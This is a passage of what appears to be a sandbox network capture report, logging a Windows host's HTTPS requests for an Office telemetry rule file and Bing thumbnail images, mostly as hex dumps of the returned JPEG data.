2024-12-08 16:45:44 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:44 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: a215b4dd-e01e-0071-4e03-4808e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164544Z-r1cf579d7788pwqzhC1EWRrpd8000000061g000000007e3x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:44 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	49824	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:44 UTC	375	OUT	GET /th?id=OADD2.10239360172398_1SAKF1TLLO2IFUJXJ&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-08 16:45:45 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 533370 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 48BF1193F0B8472D8A6D69524C0252CE Ref B: EWR30EDGE1020 Ref C: 2024-12-08T16:45:45Z Date: Sun, 08 Dec 2024 16:45:44 GMT Connection: close
2024-12-08 16:45:45 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 35 3a 31 33 20 31 38 3a 34 34 3a 32 30 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 07 80 00 00 a0 03 00 03 00 00 00 01 04 38 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.4 (Windows)2023:05:13 18:44:208C
2024-12-08 16:45:45 UTC	16384	IN	Data Raw: a3 98 39 48 36 52 aa 54 fb 28 55 a2 e8 7c a4 3b 31 46 da 9f 6d 1b 28 ba 0e 52 1d 99 a3 65 4e a9 4b b2 8b a0 e5 20 54 a5 d9 53 2a 52 ec a2 e8 7c a4 3b 28 d9 53 6c a5 db 40 72 90 ec a5 d8 6a 6d b4 aa b9 a0 39 48 36 52 aa 54 db 69 76 d2 b8 72 b2 1d 94 aa 98 a9 f6 51 b2 8b a2 b9 59 0a a5 0c 95 3a a5 23 2d 17 0e 52 2d 94 bb 2a 65 4a 55 4a 2e 1c ac 81 92 95 52 a7 d9 46 ca 39 90 b9 59 0e c1 4a a9 53 6c a5 d9 4b 99 0f 94 81 96 95 56 a6 db 4a a9 47 30 72 90 aa d0 c9 53 6d a5 d9 47 30 72 90 ed cd 1b 6a 7d 99 a3 65 1c c8 39 48 76 52 ec a9 76 52 ec a3 98 39 51 16 ca 36 54 db 29 76 51 cc 83 95 10 ec a1 56 a7 d9 46 ca 39 83 95 10 ed a5 db 52 ec a5 d9 47 30 72 90 ec ed 4b b6 a6 d9 4b b2 8e 61 f2 90 6d a5 d9 53 6c a5 55 a3 98 6d 10 ec a3 6d 4f b6 8d b4 ae 2e 52 0d 94 bb Data Ascii: 9H6RT(U\|;1Fm(ReNK TSR\|;(Sl@rjm9H6RTivrQY:#-R-eJUJ.RF9YJSlKVJG0rSmG0rj}e9HvRvR9Q6T)vQVF9RG0rKKamSlUmmO.R
2024-12-08 16:45:45 UTC	16384	IN	Data Raw: fa dd b3 eb a8 72 c1 7c 36 4b 6b 24 54 53 a8 cd a7 e5 d6 38 96 4f 9d 63 69 3e 5f d3 15 83 36 99 3a 5f 30 9d 63 91 99 73 b6 38 1d db 1d f9 e9 fa d7 77 6d e1 f1 1c 2a 0c fe 4c 6a bf 75 71 f3 7b 93 d6 ad db 69 56 f0 c6 a9 e6 ca d1 ff 00 75 98 b7 15 a5 2a 2d 6c 55 49 46 56 bb 30 34 1d 3e da d6 d7 cd bb fd d1 5c 79 71 ed 08 d2 1e d9 ee 05 59 7b 8d 4a 38 55 6d 3c f9 64 91 8e d5 55 08 aa 3b 1d dd bf c2 b7 d2 d3 4f 8d 79 83 9e bb 99 b6 f3 f5 35 3f c8 24 62 3c b5 1f dd 55 dd fc eb 48 e0 ea 39 5c ce 58 ca 31 56 72 38 e6 d0 f5 ab ed b2 4e d3 47 23 63 fd 6d d9 60 de b8 c7 f0 ff 00 3a d2 b1 f0 c5 8d b4 99 95 9a 76 5f ef 31 7e 7d b9 ae 83 74 6f 26 e7 dd 22 ff 00 79 be ef e5 52 ab c6 b1 e1 7e 61 fc 3b 7e 5a ea 58 2a af 4b 1c af 30 c3 27 7b 94 ac 34 d8 56 4f f4 7d 32 25 Data Ascii: r\|6Kk$TS8Oci>_6:_0cs8wmLjuq{iVu-lUIFV04>\yqY{J8Um<dU;Oy5?$b<UH9\X1Vr8NG#cm`:v_1~}to&"yR~a;~ZX*K0'{4VO}2%
2024-12-08 16:45:45 UTC	16384	IN	Data Raw: 4c 1d 7f 31 4b 8f 6a f9 4b 4b d6 f5 fd 2a 6f 33 4c d4 2e 60 93 f8 a4 81 84 3b be b8 35 d7 e8 bf 19 7c 65 65 6a d0 5c c1 69 a8 6d fb b2 dd fc ce bf 8a 11 bb f1 15 d5 4f 33 a6 fe 25 63 cf ad c3 b5 a2 ff 00 75 24 d7 9e 9f e6 8f 7e c7 b5 18 f6 af 1e d0 7e 31 ea d7 b3 2a 5c c1 a5 c1 26 ef 96 27 57 54 93 e8 f9 ca d7 a1 68 3e 30 b0 be 58 92 f2 da 4b 39 a4 fb df c7 0e 7d 9c 76 3e e2 b4 a7 98 e1 e7 2e 5b d9 f9 ab 1c 75 f2 3c 75 18 73 f2 dd 79 3b fe 1b 9b fb 68 db 4b 0c 90 4c d8 82 78 e5 3f dd 8e 40 c7 f2 15 c6 f8 c3 c6 9a 86 9b e3 08 f4 ad 1a c7 4f d4 6d e2 83 37 ac d2 3a bc 32 93 c2 02 bf 2f 4f ca ba a7 52 30 8f 33 db ef fc 8e 1a 18 5a b5 aa 7b 38 2d 7e ef cc ec 76 d1 8f 6a c9 d0 3c 47 65 7d a6 b5 d5 ea 2e 98 d1 2f ef 56 e6 41 b1 78 c9 21 fa 15 fa e2 b8 4f 15 fc Data Ascii: L1KjKKo3L.`;5\|eej\imO3%cu$~~1\&'WTh>0XK9}v>.[u<usy;hKLx?@Om7:2/OR03Z{8-~vj<Ge}./VAx!O
2024-12-08 16:45:45 UTC	16384	IN	Data Raw: b3 62 36 69 37 ed fa 03 58 da d5 ed cb 48 be 6d f6 ef 9b e6 db 95 fc 38 15 d0 69 fe 0d d5 6c 55 b3 2c 1e 4b 2e 5b ca 85 cb e7 d8 f6 a8 6e 7c 3b 13 2e cb 86 be 66 fe 16 f2 b6 ed fe 75 9f b7 aa 9e da 1a 7b 38 b5 be a6 45 9d fd bc 8a c9 3d e2 ab 2a ff 00 cb 4d ff 00 cf 15 62 d6 ea cd 24 e3 53 b4 ff 00 67 f7 e7 fa d6 a5 a7 87 ed c2 f1 2d f3 32 b0 3b 97 0b d3 d7 83 57 e3 d0 6c da c5 ad 5e 06 c3 36 55 db 1b f9 fc 39 fa 55 46 b5 47 d0 9f 65 1e e5 18 6e ec f6 e4 6a 16 d8 55 fb cd 25 2c d7 fa 58 87 32 6a b6 2b b7 f8 9a 71 56 e1 f0 b6 9c b0 f9 72 79 f3 c3 b7 1e 5b 6c 46 fc c0 e2 a5 b9 f0 9f 87 ee 2e 16 ee 4b 16 f3 23 5d a8 be 60 65 5f 7c 63 9f c6 b5 8d 69 f5 44 ca 9c 7a 33 3e dd ec e7 66 f2 35 0b 19 47 f7 63 99 0f f5 ab 5a 6d a8 b0 d4 96 fa c7 75 b5 d2 ff 00 cb 48 Data Ascii: b6i7XHm8ilU,K.[n\|;.fu{8E=*Mb$Sg-2;Wl^6U9UFGenjU%,X2j+qVry[lF.K#]`e_\|ciDz3>f5GcZmuH
2024-12-08 16:45:45 UTC	16384	IN	Data Raw: 0e de 87 06 88 e9 d4 5f 23 b5 d7 ec d1 ad e3 bd 3b 9a de 7c 9d cb 19 66 62 78 db 81 e8 29 d2 58 59 7e f7 6c 52 4a 7e e4 90 c9 94 5c b6 0e d3 9e 33 df 9e e2 a8 e9 3e 37 7b 85 8e df 55 b6 5f 32 36 f2 da e5 73 b5 50 9e 72 bd f8 fc ab b3 b1 b2 b4 7b 89 d2 3d 41 54 79 5f bb 8e 75 0b 6f 08 ea 0a ed ce 58 f4 e6 b4 e7 d2 c3 e5 4d dc c2 8e 4b 78 96 43 0d 8c 73 cd 1c f1 a7 fa 4d c9 59 1a 2e 85 f8 18 5c 67 81 ce 7b e2 a5 64 da b7 22 2d 2a cd 64 92 5f 2e 4e aa f8 07 ef b3 0c 05 f9 7b 75 ce 6b 46 ea c7 55 92 cf 7c ab 05 b4 db 7e 56 6c c8 8a 9c 61 77 9c 97 66 ee 30 3a 56 73 c2 2e 6d ed e4 7b c9 1a 18 b1 b9 57 09 1e 4f 46 3f df c9 3d fb 75 ad e9 b4 d5 8c 66 ac c9 ad e6 8d 56 78 c4 1a 7f d9 d5 8f ee f6 ed da 49 e5 b7 71 f7 88 e8 6a 76 bf b8 bb ba fb 0f d9 ad a2 b8 92 4d Data Ascii: _#;\|fbx)XY~lRJ~\3>7{U_26sPr{=ATy_uoXMKxCsMY.\g{d"-*d_.N{ukFU\|~Vlawf0:Vs.m{WOF?=ufVxIqjvM
2024-12-08 16:45:45 UTC	16384	IN	Data Raw: 2b 4f b9 58 f5 f9 b1 83 f3 7c c0 12 69 ad aa 5e 45 6b 72 d7 36 d6 91 88 18 bc 5e 6f df 8d 30 59 b1 c9 1d 7a 1e b4 a4 54 49 f4 dd 3a c2 4b 88 e3 8e f2 0f 96 0f 33 6e e1 f7 07 52 99 39 27 35 71 05 85 c7 cf 6f 7d ba 49 22 3f 2f 96 55 57 6e 07 df 23 1b bd 05 54 86 ea 3b 8b 5f b4 5a 35 a5 9a c9 00 45 f2 e3 0e aa 5b b9 3e fd 38 e7 b5 4f a6 b4 b3 69 f1 da 5a 5f 4c ad 13 01 2c eb 08 da b8 1f 78 16 e7 76 7b 2f 6a 96 52 2e c7 2e 91 04 92 59 7d b9 b3 e5 ef 69 65 57 f2 f1 9d bc 37 73 f4 a7 5a 9b 0b 66 8a e2 26 b9 94 36 4c 7b 64 0b c7 6c 96 39 15 5a e2 23 7f b4 47 e7 cf 25 b4 51 0f 35 94 5b db b6 0f de c3 ff 00 b5 eb ce 29 35 28 9a e2 39 e4 b8 82 0f 36 d5 da 25 92 46 da fd 3e 7d bd b0 3d 3b 0a 14 46 e4 ac 4c b2 59 96 69 24 b3 96 09 24 53 fe b2 40 ab 91 ea 4f f3 1d 6b Data Ascii: +OX\|i^Ekr6^o0YzTI:K3nR9'5qo}I"?/UWn#T;_Z5E[>8OiZ_L,xv{/jR..Y}ieW7sZf&6L{dl9Z#G%Q5[)5(96%F>}=;FLYi$$S@Ok
2024-12-08 16:45:45 UTC	16067	IN	Data Raw: 91 6e e4 3f 25 bf 98 bb 57 2d 23 30 56 5f 71 c6 28 2a e3 ae 2e a0 86 df c9 b4 68 e3 97 6e 3c d6 5d fb 47 b2 f4 fc 4d 53 1b a4 59 08 65 90 b4 64 36 e6 db c1 f4 1e f5 5e 4d 42 da 3b 56 bb 96 2d c7 77 93 22 c9 11 67 63 fd ed 83 f9 8e bd 6a ce 97 68 97 56 fe 6d bb ae 19 4e d5 5f 97 6e 3b 30 3c e7 da a5 ea 1b 11 a7 98 b3 79 76 f3 c1 88 ff 00 d5 b2 c6 37 7e 19 e3 ad 3a c6 d1 5a 46 9a 48 fc a3 2b 7f 12 ef 68 c0 ea 3d 8d 3f 49 b8 69 5a 4d 32 38 97 ce 55 2d 25 da c6 59 3f dd 56 1f c4 2a cb dc 25 ac 7e 58 5d cd b7 2d 2c b2 16 76 ff 00 7c 01 d0 7a d5 c6 20 e4 d1 05 d5 c2 45 37 d9 d2 25 56 da 42 b4 99 dd 9e 9f 28 f7 a6 c5 73 66 63 6b 4f 22 da 49 b9 4d cd 00 59 23 3d f6 b6 30 72 3b ff 00 3a a1 ad c2 f2 32 dd 99 e4 b5 8f 9d 8c b9 66 6e 71 8d d8 24 66 a0 bf 92 39 66 8c Data Ascii: n?%W-#0V_q(.hn<]GMSYed6^MB;V-w"gcjhVmN_n;0<yv7~:ZFH+h=?IiZM28U-%Y?V%~X]-,v\|z E7%VB(sfckO"IMY#=0r;:2fnq$f9f
2024-12-08 16:45:45 UTC	16384	IN	Data Raw: 43 6d e2 7b 0e 13 41 b3 91 77 13 e6 49 a8 ed 6d e4 e7 24 6d 39 aa 9a a4 1e 30 d4 19 7e df fd 9f 01 8f fd 5c 50 5c fc ab f5 cf 53 5c 6e bf 3e 8d e8 74 45 72 f4 d4 bf 79 ab db de c9 24 71 ac 11 32 e0 36 e6 3b 70 3a 74 a8 ad fc b9 3f 78 67 b4 90 b7 c8 be 5c 7d bd ab 06 6d 0f 5d 7b 8c 2c 5e 63 6d f9 96 39 c6 d6 ad 4d 3d 35 4d 1a c7 ed 0f a1 cb 04 ab f7 a4 6b b8 d9 3d b8 eb 44 ea 45 24 93 d4 71 94 af 7e 87 51 a3 e9 f3 58 46 d7 93 b4 0d 1a fd d6 66 08 b0 fe 26 a8 6a fe 39 b6 b7 93 66 95 f6 3b 99 17 23 cc 96 4f 93 3f 80 c9 af 3d f1 a3 78 97 51 93 cd bb 8b cd fe ec 4b 72 8b 1c 7f 44 07 f5 35 e7 3a f6 8d e2 8f ed 25 bb b6 db 14 d1 e4 c6 ad b1 97 8f a9 c5 67 1c 15 2a 9a ce 5a 9b 7f 68 d5 a7 a4 51 ec 8d ad 6a 17 f2 7d af 53 d6 a3 b8 68 f2 55 55 76 47 18 ef b5 7f c9 Data Ascii: Cm{AwIm$m90~\P\S\n>tEry$q26;p:t?xg\}m]{,^cm9M=5Mk=DE$q~QXFf&j9f;#O?=xQKrD5:%g*ZhQj}ShUUvG
2024-12-08 16:45:46 UTC	16384	IN	Data Raw: b7 ac d1 79 ff 00 bb 8a 3f 2c 34 3f 7c 12 c8 73 f3 02 d9 1b bb 7e 15 e7 5e 3d bc b7 8f 54 90 d8 45 6d 24 b6 6d 19 92 78 be 75 98 31 e4 03 fc 58 3c 7e 75 a5 ef a9 0b 46 6c f8 6e ca 46 d0 6d 9e f5 7e cb 69 2e 7c f8 95 7e 75 1f eb 31 19 5c fc bd 53 19 fc ab a9 d5 af f4 c7 b8 8e ee c1 a3 53 a8 2a a4 0c d1 a2 5c 46 83 e7 46 cf 53 93 c7 e3 5c 5f 80 24 d4 2e a6 6d 1e c1 9a 09 7c c5 ba 89 79 54 9a 04 39 90 46 3f b8 a3 ae 3b fb d6 dd d5 b1 bc f1 65 ac 97 71 41 9b 66 fd dc 4a bf 2e c0 e7 92 83 d0 e3 f3 a4 57 91 6b c4 4d 36 97 0e d8 bc fb a8 a7 95 66 82 59 3e f2 97 27 70 03 fb c1 8e 73 de 9f 6b 7d aa 6a f3 59 d9 69 cd 6d 28 b5 69 3c c6 e5 92 34 03 90 54 91 85 07 23 9f e2 c6 33 57 75 e9 bc cd 1e 3b 4d 51 55 a3 89 84 db 1b f7 88 d1 e7 61 18 03 bf 5c 67 3d 69 ba dc 23 Data Ascii: y?,4?\|s~^=TEm$mxu1X<~uFlnFm~i.\|~u1\SS*\FFS\_$.m\|yT9F?;eqAfJ.WkM6fY>'psk}jYim(i<4T#3Wu;MQUa\g=i#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	49829	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:45 UTC	375	OUT	GET /th?id=OADD2.10239340418602_13EDNGC3ZL2WGZFXN&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-08 16:45:46 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 407830 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 0E7702BCBDED4BB7A214DB5D97BDD639 Ref B: EWR30EDGE0810 Ref C: 2024-12-08T16:45:46Z Date: Sun, 08 Dec 2024 16:45:45 GMT Connection: close
2024-12-08 16:45:46 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 32 3a 31 31 20 30 30 3a 35 33 3a 30 35 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 07 80 00 00 a0 03 00 03 00 00 00 01 04 38 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.1 (Windows)2023:02:11 00:53:058C
2024-12-08 16:45:46 UTC	16384	IN	Data Raw: 14 29 3d 64 e7 04 91 81 d3 de af 5d 69 11 c0 d2 5b db db 47 73 26 9d b6 28 22 31 1f 3a 57 66 03 6a 84 ce e2 0f a9 3d 3f 0a e4 75 21 39 ab 46 f6 ed fd 7e 66 8a 9c de e7 41 a1 fc 4b d6 c7 86 df c2 9a 2f 86 b4 fb 1b 6b d8 98 ea d2 9b 73 24 d7 db b0 49 95 98 90 87 3c e1 71 c5 0b 2c af 24 71 de 49 12 49 e4 98 63 3c 10 80 0f 51 9c e0 64 e4 77 ac 37 be b8 b7 d6 de 28 4b 46 cd f3 1b 76 8c ef 56 23 90 57 b1 03 b7 61 52 24 b3 2c 26 d8 db 4a ed b4 9b 6d 8a 19 19 ce 08 dd 9e 55 46 09 ed ce 3d e8 af ed b1 1f 1e df d7 dc 77 61 e1 1a 49 ea 49 65 6d 6f a5 42 d1 69 d0 5d 4b 2d cb 12 6e 65 ff 00 57 cf 46 20 9e 00 e9 d3 93 f8 d1 73 7b 6b 69 7a df 65 c8 52 49 96 77 c0 0e c0 60 91 dc 7e 1d a9 46 a3 63 a9 ea b1 e9 bb fe c3 60 d2 05 1e 6b 11 24 92 93 cb 33 1c 05 03 9e bc 0e 2b Data Ascii: )=d]i[Gs&("1:Wfj=?u!9F~fAK/ks$I<q,$qIIc<Qdw7(KFvV#WaR$,&JmUF=waIIemoBi]K-neWF s{kizeRIw`~Fc`k$3+
2024-12-08 16:45:46 UTC	16384	IN	Data Raw: 7b 8a f6 4f 84 be 05 4b 1f 05 44 9a d7 89 6f b4 c9 4d d3 dd 5f 59 d9 6a 81 e6 be 81 c6 f8 a1 94 02 58 1e 41 60 0f cc 38 e3 19 af 37 f1 d5 b7 8d 75 0b 91 e1 4f 11 ea 93 45 a0 4e f2 c5 a2 db c5 a6 2c 92 33 96 06 30 eb 0e c3 b4 6e 27 79 52 15 54 f0 79 35 d5 1a 7c 94 d3 4b 5f bf fe 01 9e ed ab dd 23 32 3d 67 e3 b7 89 6d ef 3f e1 0d f1 2e b0 da 7b db 3c b7 56 d3 ea 48 1b 49 8d a4 61 e4 ca 64 00 89 18 60 ae 36 86 1f 74 57 6d f0 23 e0 e7 88 34 7f 12 0f 14 78 d3 56 fb 46 a5 63 70 c2 dd dc 35 c1 ba 8c 81 96 6f 37 85 04 f7 00 30 c6 2b e7 5d 07 56 97 c0 de 3c 7b bd 3f 50 b0 d4 26 d2 6e 77 25 d5 b3 49 71 6b 74 e8 70 26 c6 00 68 c0 e9 91 9f a6 6b ec 9f 87 9f 11 b4 1d 73 c0 76 7a ce b3 e2 7d 25 6f 5a 11 2d f0 6c db 18 43 13 86 68 df 91 9c 70 17 39 f7 e6 9e 1e 70 a8 db Data Ascii: {OKDoM_YjXA`87uOEN,30n'yRTy5\|K_#2=gm?.{<VHIad`6tWm#4xVFcp5o70+]V<{?P&nw%Iqktp&hksvz}%oZ-lChp9p
2024-12-08 16:45:46 UTC	16384	IN	Data Raw: a5 a6 91 ed 45 c0 8c 8c 50 45 3f 02 93 6f b5 17 15 86 62 92 9f 8a 0d 31 0c c0 a4 c5 3c 8a 46 1d e8 01 85 69 a5 7d 6a 4a 4c 50 03 18 52 11 4f c6 39 a0 8e d4 01 1f 4e 94 60 53 f1 48 45 3b 88 8f 06 82 33 4f 22 93 02 98 86 11 48 47 ad 3f 8a 4d be d4 00 c2 29 2a 42 33 4d c7 6a 00 69 1e b4 da 93 02 93 14 0a c3 31 eb 4d c1 a7 e2 8c 50 22 3c 7a 50 45 3e 82 3b 53 b8 11 d3 70 6a 4d be d4 98 a7 70 19 46 05 3a 9b 40 ac 34 8c 51 8c 53 f1 48 46 68 10 c2 29 08 a7 e2 90 8c 50 03 08 a4 22 a4 23 34 d2 3d 68 01 a4 66 9a 46 2a 4c 0a 6e 0d 02 63 70 29 31 4f a4 c5 02 19 8e f4 63 34 ec 1a 08 cd 00 33 14 98 ef 4e c1 a0 8a 00 66 3e 5a 4c 77 a7 91 49 83 40 0c c5 26 05 49 81 4d c7 a5 3b 80 dc 7a 53 70 6a 4a 69 19 a2 e2 1b 8e d4 98 f4 a7 d3 70 69 80 d2 29 08 ef 4f 2b 43 0e d4 08 8c Data Ascii: EPE?ob1<Fi}jJLPRO9N`SHE;3O"HG?M)B3Mji1MP"<zPE>;SpjMpF:@4QSHFh)P"#4=hfFLncp)1Oc43Nf>ZLwI@&IM;zSpjJipi)O+C
2024-12-08 16:45:46 UTC	16384	IN	Data Raw: cb 1d 46 d2 e9 21 b5 69 6e 44 92 83 34 4a fb 40 31 93 c3 73 e9 cf 3e d5 ce 68 ba ad a4 ba 3d d3 ea 8f f6 7b 78 c2 15 8c 33 39 79 80 20 28 eb 8c 28 eb db 35 2d ce 97 0e a9 f6 bb a6 9a 1b 5b eb 99 84 b3 b4 b2 a4 71 02 c7 21 42 a0 01 41 3d 80 c0 fc 2b 3b c4 5e 14 93 48 41 2c d7 d0 bb 79 60 b9 75 21 7c c6 38 c2 7f 78 63 f8 b1 8a ea 8c 69 af 72 e7 2d 49 55 6d 4e c6 a6 9f e2 b8 2d e3 43 6f 6c 06 01 7b 99 56 43 b9 49 23 0b c7 de 2d d3 8f 5f ad 60 5c f8 9f 50 fb 51 92 52 a8 4b 07 58 91 41 db 8e 42 f3 9c 7d 7a 8a c8 85 ee 09 78 5d c4 48 84 33 8c 73 91 e8 07 7a 2d e3 49 ef 8a 84 38 62 48 2c 79 23 fa 57 44 68 c2 2d e8 73 ca b4 e4 92 b9 0d f5 c5 c5 e5 c4 f7 b7 32 34 93 4c e5 9d dc 96 66 24 f3 cd 4f a6 db ce bb 2e 22 23 72 92 db 41 19 18 f5 06 a1 bc 9b 73 f9 6a 40 8d Data Ascii: F!inD4J@1s>h={x39y ((5-[q!BA=+;^HA,y`u!\|8xcir-IUmN-Col{VCI#-_`\PQRKXAB}zx]H3sz-I8bH,y#WDh-s24Lf$O."#rAsj@
2024-12-08 16:45:46 UTC	16384	IN	Data Raw: f5 f3 f9 9b cb 17 3a c9 29 0f b6 8b 56 1a 0d ca 18 95 ae 95 95 2d 9e 0b 85 fd d0 c7 ce b2 27 24 82 31 d0 64 11 4f 5b 68 2c 63 b2 b6 3a 70 b9 6d 44 07 dc 9c 65 49 00 80 c7 9c 92 39 39 e4 1a a9 25 94 d6 31 ca 92 3a c6 f7 07 73 18 57 f7 8e 4f 55 07 d0 1f 5f 5a 9e 0b 49 b4 c9 12 ed 24 8e ea 3b 72 8c c8 09 66 46 04 12 b9 3d c7 4c 8e bf 85 6d 74 f6 7a 19 2e 65 2b d8 d9 f1 64 1a 25 8e b5 04 c6 c9 66 89 0f 97 61 a7 cb 09 31 4c a1 70 5d 88 20 b1 69 0e 00 1c e4 7e 15 07 85 ed 22 91 f4 d7 4d 0a 27 b8 37 af 6f 2b 18 4c a9 30 09 92 b9 ce 15 94 82 00 e3 03 d7 15 3e a8 fa be a3 7d 65 ab 4b e4 c9 71 1c 82 5b 61 20 0e a1 55 83 20 0a c4 15 e4 75 20 66 b3 ad 75 7d 42 d6 49 b5 83 fb cb 68 35 04 bd 9a d1 64 0a 8d 2b b3 03 c0 e7 24 e7 81 d0 13 4a 9a 6a 29 5e ef d4 de 72 4a a3 Data Ascii: :)V-'$1dO[h,c:pmDeI99%1:sWOU_ZI$;rfF=Lmtz.e+d%fa1Lp] i~"M'7o+L0>}eKq[a U u fu}BIh5d+$Jj)^rJ
